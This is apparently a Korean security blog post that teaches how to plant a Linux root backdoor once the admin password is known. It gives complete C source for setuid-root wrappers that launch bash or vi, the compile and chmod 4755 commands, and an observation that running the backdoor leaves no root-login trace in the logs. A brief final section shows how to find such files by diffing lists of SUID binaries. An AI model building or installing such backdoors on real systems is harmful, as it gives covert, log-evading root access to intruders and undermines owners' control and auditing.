InfoSec / / 2024. 6. 27. 17:52

리눅스 백도어 루트 로그인 파일 만들기

C언어 컴파일러 설치하기

dnf install -y gcc

 

현재 상황

유저가 관리자 암호를 우연히 알게 되었다.

이 유저는 관리자 권한으로 백도어 파일을 생성한 후

차후에 관리자 권한을 이용하여 시스템을 해킹하고자 한다.

 

 

특정 파일을 실행하면 현재 계정을 루트로 변경시키기

(관리자로 로그인한 상태에서)

cd /home/유저명

find / -user root -perm -4000 > root_perm.txt

# 유저명이 root이며 권한이 4000으로 되어있는 파일을 찾아

# root_perm.txt 파일에 목록을 저장합니다.

gedit backdoor.c

 

#include <stdio.h>
main(){
	setuid(0);
   	setgid(0);
   	system("/bin/bash");
}

 

   # 현재 사용자의 uid와 gid를 0(root)로 바꿉니다.

gcc -o backdoor backdoor.c

# C언어 컴파일러로 backdoor.c파일을 컴파일합니다.

chmod 4755 backdoor

# 컴파일된 backdoor 파일에 관리자 권한을 부여합니다.

 

 

이제 생성된 backdoor 파일을 실행하면 누구든지 root로 로그인된 상태로 변경됩니다.

(유저 계정으로)
./backdoor

 

 

 

※ backdoor 파일로 root 계정으로 변경하는 것은 로그에 기록이 되지 않습니다.

 

원격으로 user5로 로그인해 backdoor 파일을 실행해 root 계정으로 변경한 상태

 

tail -f /var/log/secure

 

하지만 로그에는 root로 로그인한 흔적이 남지 않습니다.

 

 

 

vi를 이용해 관리자로 로그인하기

(관리자로 로그인한 상태에서)

cd /home/유저명

gedit vibackdoor.c

 

#include <stdio.h>
main(){
	setuid(0);
   	setgid(0);
   	system("/bin/vi");
}

 

gcc -o vibackdoor vibackdoor.c

chmod 4755 vibackdoor

 

 

 

 

 

 

 

 

 

 

백도어 파일 찾기

su - root

cd /home/유저명

find / -user root -perm -4000 > new_root.txt

diff root_perm.txt new_root.txt

# 아까 생성한 root_perm.txt와 새로 생성한 new_root.txt파일을 비교해 출력합니다.

 

 

 

 

 

  • 네이버 블로그 공유
  • 네이버 밴드 공유
  • 페이스북 공유
  • 카카오스토리 공유